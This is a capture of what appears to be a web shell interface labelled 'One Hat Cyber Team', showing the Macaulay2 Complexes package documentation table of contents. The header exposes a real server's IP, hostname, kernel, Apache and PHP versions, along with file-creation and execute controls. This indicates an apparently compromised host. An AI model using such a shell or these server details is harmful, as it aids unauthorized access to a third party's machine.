One Hat Cyber Team
Your IP :
216.73.216.14
Server IP :
194.44.31.54
Server :
Linux zen.imath.kiev.ua 4.18.0-553.77.1.el8_10.x86_64 #1 SMP Fri Oct 3 14:30:23 UTC 2025 x86_64
Server Software :
Apache/2.4.37 (Rocky Linux) OpenSSL/1.1.1k
PHP Version :
5.6.40
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
usr
/
share
/
doc
/
Macaulay2
/
Complexes
/
html
/
View File Name :
toc.html
<!DOCTYPE html> <html lang="en"> <head> <title>Complexes : Table of Contents</title> <meta content="text/html; charset=utf-8" http-equiv="Content-Type"> <link type="text/css" rel="stylesheet" href="../../../../Macaulay2/Style/doc.css"> <link rel="stylesheet" href="../../../../Macaulay2/Style/katex/katex.min.css"> <script defer="defer" src="../../../../Macaulay2/Style/katex/katex.min.js"></script> <script defer="defer" src="../../../../Macaulay2/Style/katex/contrib/auto-render.min.js"></script> <script> var macros = { "\\break": "\\\\", "\\ZZ": "\\mathbb{Z}", "\\NN": "\\mathbb{N}", "\\QQ": "\\mathbb{Q}", "\\RR": "\\mathbb{R}", "\\CC": "\\mathbb{C}", "\\PP": "\\mathbb{P}" }, delimiters = [ { left: "$$", right: "$$", display: true}, { left: "\\[", right: "\\]", display: true}, { left: "$", right: "$", display: false}, { left: "\\(", right: "\\)", display: false} ], ignoredTags = [ "kbd", "var", "samp", "script", "noscript", "style", "textarea", "pre", "code", "option" ]; document.addEventListener("DOMContentLoaded", function() { renderMathInElement(document.body, { delimiters: delimiters, macros: macros, ignoredTags: ignoredTags, trust: true }); }); </script> <style>.katex { font-size: 1em; }</style> <script defer="defer" src="../../../../Macaulay2/Style/katex/contrib/copy-tex.min.js"></script> <script defer="defer" src="../../../../Macaulay2/Style/katex/contrib/render-a11y-string.min.js"></script> <script src="../../../../Macaulay2/Style/prism.js"></script> <script>var current_version = '1.25.06';</script> <script src="../../../../Macaulay2/Style/version-select.js"></script> <link type="image/x-icon" rel="icon" href="../../../../Macaulay2/Style/icon.gif"> </head> <body> <div id="buttons"> <div> <a href="https://macaulay2.com/">Macaulay2</a> <span id="version-select-container"></span> » <a title="Macaulay2 documentation" href="../../Macaulay2Doc/html/index.html">Documentation </a> <br><a href="../../Macaulay2Doc/html/_packages_spprovided_spwith_sp__Macaulay2.html">Packages</a> » <span><a title="development package for beta testing new version of chain complexes" href="index.html">Complexes</a> :: <a href="toc.html">Table of Contents</a></span> </div> <div class="right"> <form method="get" action="https://www.google.com/search"> <input placeholder="Search" type="text" name="q" value=""> <input type="hidden" name="q" value="site:macaulay2.com/doc"> </form> next | previous | forward | backward | up | <a href="master.html">index</a> | <a href="toc.html">toc</a> </div> </div> <hr> <h1>Complexes : Table of Contents</h1> <ul> <li><span><a title="development package for beta testing new version of chain complexes" href="index.html">Complexes</a> -- development package for beta testing new version of chain complexes</span></li> <li><span><a title="perform arithmetic operations on complex maps" href="_arithmetic_spwith_spcomplex_spmaps.html">arithmetic with complex maps</a> -- perform arithmetic operations on complex maps</span></li> <li><span><a title="map from a free resolution to a module regarded as a complex" href="_augmentation__Map.html">augmentationMap</a> -- map from a free resolution to a module regarded as a complex</span></li> <li><span><a title="information about accessing basic features" href="___Basic_spinvariants_spand_spproperties.html">Basic invariants and properties</a> -- information about accessing basic features</span></li> <li><span><a title="display of degrees in a complex" href="_betti_lp__Complex_rp.html">betti(Complex)</a> -- display of degrees in a complex</span></li> <li><span><a title="gets the natural map arising from various constructions" href="_canonical__Map.html">canonicalMap</a> -- gets the natural map arising from various constructions</span></li> <li><span><a title="reducing the number of non-zero terms of a complex" href="_canonical__Truncation_lp__Complex_cm__Z__Z_cm__Z__Z_rp.html">canonicalTruncation(Complex,ZZ,ZZ)</a> -- reducing the number of non-zero terms of a complex</span></li> <li><span><a title="reducing the number of non-zero terms of a complex" href="_canonical__Truncation_lp__Complex__Map_cm__Z__Z_cm__Z__Z_rp.html">canonicalTruncation(ComplexMap,ZZ,ZZ)</a> -- reducing the number of non-zero terms of a complex</span></li> <li><span><a title="make the coimage of a map of complexes" href="_coimage_lp__Complex__Map_rp.html">coimage(ComplexMap)</a> -- make the coimage of a map of complexes</span></li> <li><span><a title="make the cokernel of a map of complexes" href="_cokernel_lp__Complex__Map_rp.html">cokernel(ComplexMap)</a> -- make the cokernel of a map of complexes</span></li> <li><span><a title="the class of all chain complexes" href="___Complex.html">Complex</a> -- the class of all chain complexes</span></li> <li><span><a title="tensor product of complexes" href="___Complex_sp_st_st_sp__Complex.html">Complex ** Complex</a> -- tensor product of complexes</span></li> <li><span><a title="create the tensor product of a complex and a map of modules" href="___Complex_sp_st_st_sp__Matrix.html">Complex ** Matrix</a> -- create the tensor product of a complex and a map of modules</span></li> <li><span><a title="whether two complexes are equal" href="___Complex_sp_eq_eq_sp__Complex.html">Complex == Complex</a> -- whether two complexes are equal</span></li> <li><span><a title="the canonical inclusion or projection map of a direct sum" href="___Complex_sp_us_sp__Array.html">Complex _ Array</a> -- the canonical inclusion or projection map of a direct sum</span></li> <li><span><a title="access individual object in a complex" href="___Complex_sp_us_sp__Z__Z.html">Complex _ ZZ</a> -- access individual object in a complex</span></li> <li><span><a title="shift a complex or complex map" href="___Complex_sp__Array.html">Complex Array</a> -- shift a complex or complex map</span></li> <li><span><a title="make a complex by reindexing the terms of the complex" href="_complex_lp__Complex_rp.html">complex(Complex)</a> -- make a complex by reindexing the terms of the complex</span></li> <li><span><a title="make a complex by specifying the differential" href="_complex_lp__Complex__Map_rp.html">complex(ComplexMap)</a> -- make a complex by specifying the differential</span></li> <li><span><a title="make a chain complex" href="_complex_lp__Hash__Table_rp.html">complex(HashTable)</a> -- make a chain complex</span></li> <li><span><a title="make a chain complex" href="_complex_lp__List_rp.html">complex(List)</a> -- make a chain complex</span></li> <li><span><a title="make a chain complex of length zero" href="_complex_lp__Module_rp.html">complex(Module)</a> -- make a chain complex of length zero</span></li> <li><span><a title="the class of all maps between chain complexes" href="___Complex__Map.html">ComplexMap</a> -- the class of all maps between chain complexes</span></li> <li><span><a title="composition of homomorphisms of complexes" href="___Complex__Map_sp_st_sp__Complex__Map.html">ComplexMap * ComplexMap</a> -- composition of homomorphisms of complexes</span></li> <li><span><a title="the map of complexes between tensor complexes" href="___Complex__Map_sp_st_st_sp__Complex__Map.html">ComplexMap ** ComplexMap</a> -- the map of complexes between tensor complexes</span></li> <li><span><a title="direct sum of complex maps" href="___Complex__Map_sp_pl_pl_sp__Complex__Map.html">ComplexMap ++ ComplexMap</a> -- direct sum of complex maps</span></li> <li><span><a title="whether two complex maps are equal" href="___Complex__Map_sp_eq_eq_sp__Complex__Map.html">ComplexMap == ComplexMap</a> -- whether two complex maps are equal</span></li> <li><span><a title="the composition with the canonical inclusion or projection map" href="___Complex__Map_sp%5E_sp__Array.html">ComplexMap ^ Array</a> -- the composition with the canonical inclusion or projection map</span></li> <li><span><a title="the n-fold composition" href="___Complex__Map_sp%5E_sp__Z__Z.html">ComplexMap ^ ZZ</a> -- the n-fold composition</span></li> <li><span><a title="access individual matrices in a complex map" href="___Complex__Map_sp_us_sp__Z__Z.html">ComplexMap _ ZZ</a> -- access individual matrices in a complex map</span></li> <li><span><a title="join or concatenate maps horizontally" href="___Complex__Map_sp_vb_sp__Complex__Map.html">ComplexMap | ComplexMap</a> -- join or concatenate maps horizontally</span></li> <li><span><a title="join or concatenate maps vertically" href="___Complex__Map_sp_vb_vb_sp__Complex__Map.html">ComplexMap || ComplexMap</a> -- join or concatenate maps vertically</span></li> <li><span><a title="list the components of a direct sum" href="_components_lp__Complex_rp.html">components(Complex)</a> -- list the components of a direct sum</span></li> <li><span><a title="list the components of a direct sum" href="_components_lp__Complex__Map_rp.html">components(ComplexMap)</a> -- list the components of a direct sum</span></li> <li><span><a title="optional argument used to specify the concentration" href="___Concentration.html">Concentration</a> -- optional argument used to specify the concentration</span></li> <li><span><a title="indices on which a complex may be non-zero" href="_concentration.html">concentration</a> -- indices on which a complex may be non-zero</span></li> <li><span><a title="indices on which a complex map may be non-zero" href="_concentration_lp__Complex__Map_rp.html">concentration(ComplexMap)</a> -- indices on which a complex map may be non-zero</span></li> <li><span><a title="make the mapping cone of a morphism of chain complexes" href="_cone_lp__Complex__Map_rp.html">cone(ComplexMap)</a> -- make the mapping cone of a morphism of chain complexes</span></li> <li><span><a title="makes the connecting maps in Ext" href="_connecting__Ext__Map_lp__Module_cm__Matrix_cm__Matrix_rp.html">connectingExtMap(Module,Matrix,Matrix)</a> -- makes the connecting maps in Ext</span></li> <li><span><a title="construct the connecting homomorphism on homology" href="_connecting__Map_lp__Complex__Map_cm__Complex__Map_rp.html">connectingMap(ComplexMap,ComplexMap)</a> -- construct the connecting homomorphism on homology</span></li> <li><span><a title="makes the connecting maps in Tor" href="_connecting__Tor__Map_lp__Module_cm__Matrix_cm__Matrix_rp.html">connectingTorMap(Module,Matrix,Matrix)</a> -- makes the connecting maps in Tor</span></li> <li><span><span class="tt">constantStrand</span> (missing documentation)<!--tag: constantStrand--> </span></li> <li><span><a title="make the mapping cylinder of a morphism of chain complexes" href="_cylinder.html">cylinder</a> -- make the mapping cylinder of a morphism of chain complexes</span></li> <li><span><a title="algorithm for computing free resolutions exploiting the Schreyer frame" href="___Default_spstrategy_spfor_spfree_spresolutions_spof_sphomogeneous_spmodules.html">Default strategy for free resolutions of homogeneous modules</a> -- algorithm for computing free resolutions exploiting the Schreyer frame</span></li> <li><span><a title="get the degree of a map of chain complexes" href="_degree_lp__Complex__Map_rp.html">degree(ComplexMap)</a> -- get the degree of a map of chain complexes</span></li> <li><span><a title="get the maps between the terms in a complex" href="_differential_spof_spa_spchain_spcomplex.html">differential of a chain complex</a> -- get the maps between the terms in a complex</span></li> <li><span><a title="direct sum of complexes" href="_direct__Sum_lp__Complex_rp.html">directSum(Complex)</a> -- direct sum of complexes</span></li> <li><span><a title="make the dual of a complex" href="_dual_lp__Complex_rp.html">dual(Complex)</a> -- make the dual of a complex</span></li> <li><span><a title="the dual of a map of complexes" href="_dual_lp__Complex__Map_rp.html">dual(ComplexMap)</a> -- the dual of a map of complexes</span></li> <li><span><span class="tt">epicResolutionMap</span> (missing documentation)<!--tag: epicResolutionMap--> </span></li> <li><span><a title="total Ext module" href="___Ext_lp__Module_cm__Module_rp.html">Ext(Module,Module)</a> -- total Ext module</span></li> <li><span><a title="extend a map of modules to a map of chain complexes" href="_extend_lp__Complex_cm__Complex_cm__Matrix_cm__Sequence_rp.html">extend(Complex,Complex,Matrix,Sequence)</a> -- extend a map of modules to a map of chain complexes</span></li> <li><span><a title="compute a free resolution of a module or ideal" href="_free__Resolution.html">freeResolution</a> -- compute a free resolution of a module or ideal</span></li> <li><span><a title="algorithm for computing a free resolution" href="_free__Resolution_lp..._cm_sp__Strategy_sp_eq_gt_sp__Engine_rp.html">freeResolution(..., Strategy => Engine)</a> -- algorithm for computing a free resolution</span></li> <li><span><a title="minimal free resolution of a complex" href="_free__Resolution_lp__Complex_rp.html">freeResolution(Complex)</a> -- minimal free resolution of a complex</span></li> <li><span><a title="compute the induced map between free resolutions" href="_free__Resolution_lp__Matrix_rp.html">freeResolution(Matrix)</a> -- compute the induced map between free resolutions</span></li> <li><span><span class="tt">FreeToExact</span> (missing documentation)<!--tag: FreeToExact--> </span></li> <li><span><a title="a new complex in which the differential is zero" href="_graded__Module_lp__Complex_rp.html">gradedModule(Complex)</a> -- a new complex in which the differential is zero</span></li> <li><span><a title="homology of a complex" href="___H__H_sp__Complex.html">HH Complex</a> -- homology of a complex</span></li> <li><span><a title="induced map on homology or cohomology" href="___H__H_sp__Complex__Map.html">HH ComplexMap</a> -- induced map on homology or cohomology</span></li> <li><span><a title="homology or cohomology module of a complex" href="___H__H_us__Z__Z_sp__Complex.html">HH_ZZ Complex</a> -- homology or cohomology module of a complex</span></li> <li><span><a title="the complex of homomorphisms between two complexes" href="___Hom_lp__Complex_cm__Complex_rp.html">Hom(Complex,Complex)</a> -- the complex of homomorphisms between two complexes</span></li> <li><span><a title="the map of complexes between Hom complexes" href="___Hom_lp__Complex__Map_cm__Complex__Map_rp.html">Hom(ComplexMap,ComplexMap)</a> -- the map of complexes between Hom complexes</span></li> <li><span><a title="get the element of Hom from a map of complexes" href="_homomorphism_sq_lp__Complex__Map_rp.html">homomorphism'(ComplexMap)</a> -- get the element of Hom from a map of complexes</span></li> <li><span><a title="get the homomorphism from an element of Hom" href="_homomorphism_lp__Complex__Map_rp.html">homomorphism(ComplexMap)</a> -- get the homomorphism from an element of Hom</span></li> <li><span><a title="get the homomorphism from an element of Hom" href="_homomorphism_lp__Z__Z_cm__Matrix_cm__Complex_rp.html">homomorphism(ZZ,Matrix,Complex)</a> -- get the homomorphism from an element of Hom</span></li> <li><span><a title="make the horseshoe resolution" href="_horseshoe__Resolution_lp__Complex_rp.html">horseshoeResolution(Complex)</a> -- make the horseshoe resolution</span></li> <li><span><a title="the identity map of a chain complex" href="_id_sp_us_sp__Complex.html">id _ Complex</a> -- the identity map of a chain complex</span></li> <li><span><a title="make the image of a map of complexes" href="_image_lp__Complex__Map_rp.html">image(ComplexMap)</a> -- make the image of a map of complexes</span></li> <li><span><a title="make the map of complexes induced at each term by the identity map" href="_induced__Map_lp__Complex_cm__Complex_rp.html">inducedMap(Complex,Complex)</a> -- make the map of complexes induced at each term by the identity map</span></li> <li><span><a title="whether a complex map commutes with the differentials" href="_is__Commutative_lp__Complex__Map_rp.html">isCommutative(ComplexMap)</a> -- whether a complex map commutes with the differentials</span></li> <li><span><a title="whether a complex map is a morphism of complexes" href="_is__Complex__Morphism_lp__Complex__Map_rp.html">isComplexMorphism(ComplexMap)</a> -- whether a complex map is a morphism of complexes</span></li> <li><span><a title="whether a complex is exact" href="_is__Exact_lp__Complex_cm__Number_cm__Number_rp.html">isExact(Complex,Number,Number)</a> -- whether a complex is exact</span></li> <li><span><a title="whether a complex consists of free modules" href="_is__Free_lp__Complex_rp.html">isFree(Complex)</a> -- whether a complex consists of free modules</span></li> <li><span><a title="whether a complex is homogeneous" href="_is__Homogeneous_lp__Complex_rp.html">isHomogeneous(Complex)</a> -- whether a complex is homogeneous</span></li> <li><span><a title="whether a map of complexes is homogeneous" href="_is__Homogeneous_lp__Complex__Map_rp.html">isHomogeneous(ComplexMap)</a> -- whether a map of complexes is homogeneous</span></li> <li><span><a title="whether a map of complexes is null-homotopic" href="_is__Null__Homotopic_lp__Complex__Map_rp.html">isNullHomotopic(ComplexMap)</a> -- whether a map of complexes is null-homotopic</span></li> <li><span><a title="whether the first map of chain complexes is a null homotopy for the second" href="_is__Null__Homotopy__Of_lp__Complex__Map_cm__Complex__Map_rp.html">isNullHomotopyOf(ComplexMap,ComplexMap)</a> -- whether the first map of chain complexes is a null homotopy for the second</span></li> <li><span><a title="whether a map of complexes is a quasi-isomorphism" href="_is__Quasi__Isomorphism_lp__Complex__Map_rp.html">isQuasiIsomorphism(ComplexMap)</a> -- whether a map of complexes is a quasi-isomorphism</span></li> <li><span><a title="whether a chain complex is a short exact sequence" href="_is__Short__Exact__Sequence_lp__Complex_rp.html">isShortExactSequence(Complex)</a> -- whether a chain complex is a short exact sequence</span></li> <li><span><a title="whether a pair of complex maps forms a short exact sequence" href="_is__Short__Exact__Sequence_lp__Complex__Map_cm__Complex__Map_rp.html">isShortExactSequence(ComplexMap,ComplexMap)</a> -- whether a pair of complex maps forms a short exact sequence</span></li> <li><span><a title="whether a pair of matrices forms a short exact sequence" href="_is__Short__Exact__Sequence_lp__Matrix_cm__Matrix_rp.html">isShortExactSequence(Matrix,Matrix)</a> -- whether a pair of matrices forms a short exact sequence</span></li> <li><span><a title="whether a complex is well-defined" href="_is__Well__Defined_lp__Complex_rp.html">isWellDefined(Complex)</a> -- whether a complex is well-defined</span></li> <li><span><a title="whether a map of chain complexes is well-defined" href="_is__Well__Defined_lp__Complex__Map_rp.html">isWellDefined(ComplexMap)</a> -- whether a map of chain complexes is well-defined</span></li> <li><span><a title="make the kernel of a map of complexes" href="_kernel_lp__Complex__Map_rp.html">kernel(ComplexMap)</a> -- make the kernel of a map of complexes</span></li> <li><span><a title="makes the Koszul complex" href="_koszul__Complex_lp__Matrix_rp.html">koszulComplex(Matrix)</a> -- makes the Koszul complex</span></li> <li><span><a title="length of a complex" href="_length_lp__Complex_rp.html">length(Complex)</a> -- length of a complex</span></li> <li><span><a title="lift a map of chain complexes along a quasi-isomorphism" href="_lift__Map__Along__Quasi__Isomorphism_lp__Complex__Map_cm__Complex__Map_rp.html">liftMapAlongQuasiIsomorphism(ComplexMap,ComplexMap)</a> -- lift a map of chain complexes along a quasi-isomorphism</span></li> <li><span><a title="make the long exact sequence in homology" href="_long__Exact__Sequence_lp__Complex__Map_cm__Complex__Map_rp.html">longExactSequence(ComplexMap,ComplexMap)</a> -- make the long exact sequence in homology</span></li> <li><span><a title="information about the basic constructors" href="___Making_spchain_spcomplexes.html">Making chain complexes</a> -- information about the basic constructors</span></li> <li><span><a title="information about the basic constructors" href="___Making_spmaps_spbetween_spchain_spcomplexes.html">Making maps between chain complexes</a> -- information about the basic constructors</span></li> <li><span><a title="make a new map of chain complexes from an existing one" href="_map_lp__Complex_cm__Complex_cm__Complex__Map_rp.html">map(Complex,Complex,ComplexMap)</a> -- make a new map of chain complexes from an existing one</span></li> <li><span><a title="make a map of chain complexes" href="_map_lp__Complex_cm__Complex_cm__Function_rp.html">map(Complex,Complex,Function)</a> -- make a map of chain complexes</span></li> <li><span><a title="make a map of chain complexes" href="_map_lp__Complex_cm__Complex_cm__Hash__Table_rp.html">map(Complex,Complex,HashTable)</a> -- make a map of chain complexes</span></li> <li><span><a title="make a map of chain complexes" href="_map_lp__Complex_cm__Complex_cm__List_rp.html">map(Complex,Complex,List)</a> -- make a map of chain complexes</span></li> <li><span><a title="make the zero map or identity between chain complexes" href="_map_lp__Complex_cm__Complex_cm__Z__Z_rp.html">map(Complex,Complex,ZZ)</a> -- make the zero map or identity between chain complexes</span></li> <li><span><a title="minimal presentation of all terms in a complex" href="_minimal__Presentation_lp__Complex_rp.html">minimalPresentation(Complex)</a> -- minimal presentation of all terms in a complex</span></li> <li><span><a title="a quasi-isomorphic complex whose terms have minimal rank" href="_minimize_lp__Complex_rp.html">minimize(Complex)</a> -- a quasi-isomorphic complex whose terms have minimal rank</span></li> <li><span><a title="drops all terms of a complex outside a given interval" href="_naive__Truncation_lp__Complex_cm__Z__Z_cm__Z__Z_rp.html">naiveTruncation(Complex,ZZ,ZZ)</a> -- drops all terms of a complex outside a given interval</span></li> <li><span><a title="drops all terms in the source of a complex outside a given interval" href="_naive__Truncation_lp__Complex__Map_cm__Z__Z_cm__Z__Z_rp.html">naiveTruncation(ComplexMap,ZZ,ZZ)</a> -- drops all terms in the source of a complex outside a given interval</span></li> <li><span><a title="a map which is a candidate for being a null homotopy" href="_null__Homotopy_lp__Complex__Map_rp.html">nullHomotopy(ComplexMap)</a> -- a map which is a candidate for being a null homotopy</span></li> <li><span><a title="optional arguments for freeResolution" href="___Options_spfor_spfree_spresolutions.html">Options for free resolutions</a> -- optional arguments for freeResolution</span></li> <li><span><a title="extract a graded component of a complex" href="_part_lp__List_cm__Complex_rp.html">part(List,Complex)</a> -- extract a graded component of a complex</span></li> <li><span><a title="extract a graded component of a map of complexes" href="_part_lp__List_cm__Complex__Map_rp.html">part(List,ComplexMap)</a> -- extract a graded component of a map of complexes</span></li> <li><span><a title="assemble degrees of a chain complex into a polynomial" href="_poincare_lp__Complex_rp.html">poincare(Complex)</a> -- assemble degrees of a chain complex into a polynomial</span></li> <li><span><a title="assemble degrees of a chain complex into a polynomial" href="_poincare__N_lp__Complex_rp.html">poincareN(Complex)</a> -- assemble degrees of a chain complex into a polynomial</span></li> <li><span><a title="a random map of chain complexes" href="_random__Complex__Map_lp__Complex_cm__Complex_rp.html">randomComplexMap(Complex,Complex)</a> -- a random map of chain complexes</span></li> <li><span><a title="compute the Castelnuovo-Mumford regularity" href="_regularity_lp__Complex_rp.html">regularity(Complex)</a> -- compute the Castelnuovo-Mumford regularity</span></li> <li><span><a title="map from a free resolution to the given complex" href="_resolution__Map.html">resolutionMap</a> -- map from a free resolution to the given complex</span></li> <li><span><a title="access the ring of a complex or a complex map" href="_ring_lp__Complex_rp.html">ring(Complex)</a> -- access the ring of a complex or a complex map</span></li> <li><span><a title="tensor a complex along a ring map" href="___Ring__Map_sp_st_st_sp__Complex.html">RingMap ** Complex</a> -- tensor a complex along a ring map</span></li> <li><span><a title="tensor a map of complexes along a ring map" href="___Ring__Map_sp_st_st_sp__Complex__Map.html">RingMap ** ComplexMap</a> -- tensor a map of complexes along a ring map</span></li> <li><span><a title="apply a ring map" href="___Ring__Map_sp__Complex.html">RingMap Complex</a> -- apply a ring map</span></li> <li><span><a title="apply a ring map to a map of complexes" href="___Ring__Map_sp__Complex__Map.html">RingMap ComplexMap</a> -- apply a ring map to a map of complexes</span></li> <li><span><a title="get the source of a map of chain complexes" href="_source_lp__Complex__Map_rp.html">source(ComplexMap)</a> -- get the source of a map of chain complexes</span></li> <li><span><a title="overview of the different algorithms for computing free resolutions" href="___Strategies_spfor_spfree_spresolutions.html">Strategies for free resolutions</a> -- overview of the different algorithms for computing free resolutions</span></li> <li><span><a title="algorithm for computing free resolutions step by step aided by Hilbert functions" href="___Strategy_spfor_spfree_spresolutions_spof_sphomogeneous_spmodules_spaided_spby_sp__Hilbert_spfunctions.html">Strategy for free resolutions of homogeneous modules aided by Hilbert functions</a> -- algorithm for computing free resolutions step by step aided by Hilbert functions</span></li> <li><span><a title="algorithm for computing free resolutions step by step" href="___Strategy_spfor_spfree_spresolutions_spof_sphomogeneous_spmodules_spvia_spsuccessive_spsyzygies.html">Strategy for free resolutions of homogeneous modules via successive syzygies</a> -- algorithm for computing free resolutions step by step</span></li> <li><span><a title="algorithm for computing free resolutions over a field" href="___Strategy_spfor_spfree_spresolutions_spover_spa_spfield.html">Strategy for free resolutions over a field</a> -- algorithm for computing free resolutions over a field</span></li> <li><span><a title="algorithm for computing free resolutions of ZZ-modules" href="___Strategy_spfor_spfree_spresolutions_spover_spthe_spintegers.html">Strategy for free resolutions over the integers</a> -- algorithm for computing free resolutions of ZZ-modules</span></li> <li><span><a title="algorithm for computing free resolutions by first homogenizing" href="___Strategy_spfor_spfree_spresolutions_spvia_sphomogenization.html">Strategy for free resolutions via homogenization</a> -- algorithm for computing free resolutions by first homogenizing</span></li> <li><span><a title="algorithm for computing free resolutions exploiting the Schreyer frame" href="___Strategy_spfor_spfree_spresolutions_spvia_sp__Schreyer-__Lascala.html">Strategy for free resolutions via Schreyer-Lascala</a> -- algorithm for computing free resolutions exploiting the Schreyer frame</span></li> <li><span><a title="algorithm for computing free resolutions step by step using syzygies" href="___Strategy_spfor_spfree_spresolutions_spvia_spsyzygies.html">Strategy for free resolutions via syzygies</a> -- algorithm for computing free resolutions step by step using syzygies</span></li> <li><span><a title="algorithm for computing nonminimal free resolutions" href="___Strategy_spfor_spnonminimal_spfree_spresolutions.html">Strategy for nonminimal free resolutions</a> -- algorithm for computing nonminimal free resolutions</span></li> <li><span><a title="make the direct sum of all terms" href="_sum_lp__Complex_rp.html">sum(Complex)</a> -- make the direct sum of all terms</span></li> <li><span><a title="get the target of a map of chain complexes" href="_target_lp__Complex__Map_rp.html">target(ComplexMap)</a> -- get the target of a map of chain complexes</span></li> <li><span><a title="make the canonical isomorphism arising from associativity" href="_tensor__Associativity_lp__Complex_cm__Complex_cm__Complex_rp.html">tensorAssociativity(Complex,Complex,Complex)</a> -- make the canonical isomorphism arising from associativity</span></li> <li><span><a title="make the canonical isomorphism arising from commutativity" href="_tensor__Commutativity_lp__Complex_cm__Complex_rp.html">tensorCommutativity(Complex,Complex)</a> -- make the canonical isomorphism arising from commutativity</span></li> <li><span><a title="make the canonical isomorphism arising from commutativity" href="_tensor__Commutativity_lp__Module_cm__Module_rp.html">tensorCommutativity(Module,Module)</a> -- make the canonical isomorphism arising from commutativity</span></li> <li><span><a title="make the induced map on Tor modules" href="___Tor_us__Z__Z_lp__Matrix_cm__Module_rp.html">Tor_ZZ(Matrix,Module)</a> -- make the induced map on Tor modules</span></li> <li><span><a title="makes the canonical isomorphism realizing the symmetry of Tor" href="_tor__Symmetry_lp__Z__Z_cm__Module_cm__Module_rp.html">torSymmetry(ZZ,Module,Module)</a> -- makes the canonical isomorphism realizing the symmetry of Tor</span></li> <li><span><a href="___Towards_spcomputing_spin_spthe_spderived_spcategory.html">Towards computing in the derived category</a></span></li> <li><span><a title="truncation of a complex at a specified degree or set of degrees" href="_truncate_lp__List_cm__Complex_rp.html">truncate(List,Complex)</a> -- truncation of a complex at a specified degree or set of degrees</span></li> <li><span><a title="truncation of a complex map at a specified degree or set of degrees" href="_truncate_lp__List_cm__Complex__Map_rp.html">truncate(List,ComplexMap)</a> -- truncation of a complex map at a specified degree or set of degrees</span></li> <li><span><a title="information about functorial properties" href="___Working_spwith_sp__Ext.html">Working with Ext</a> -- information about functorial properties</span></li> <li><span><a title="information about functorial properties" href="___Working_spwith_sp__Tor.html">Working with Tor</a> -- information about functorial properties</span></li> <li><span><a title="identifies the element of Ext corresponding to an extension" href="_yoneda__Extension_sq_lp__Complex_rp.html">yonedaExtension'(Complex)</a> -- identifies the element of Ext corresponding to an extension</span></li> <li><span><a title="creates a chain complex representing an extension of modules" href="_yoneda__Extension_lp__Matrix_rp.html">yonedaExtension(Matrix)</a> -- creates a chain complex representing an extension of modules</span></li> <li><span><a title="identifies the element of Ext corresponding to a map of free resolutions" href="_yoneda__Map_sq_lp__Complex__Map_rp.html">yonedaMap'(ComplexMap)</a> -- identifies the element of Ext corresponding to a map of free resolutions</span></li> <li><span><a title="creates a chain complex map representing an extension of modules" href="_yoneda__Map_lp__Matrix_rp.html">yonedaMap(Matrix)</a> -- creates a chain complex map representing an extension of modules</span></li> <li><span><a title="make the product of two elements in Ext modules" href="_yoneda__Product_lp__Matrix_cm__Matrix_rp.html">yonedaProduct(Matrix,Matrix)</a> -- make the product of two elements in Ext modules</span></li> <li><span><a title="make the product map between Ext modules" href="_yoneda__Product_lp__Module_cm__Module_rp.html">yonedaProduct(Module,Module)</a> -- make the product map between Ext modules</span></li> </ul> </body> </html>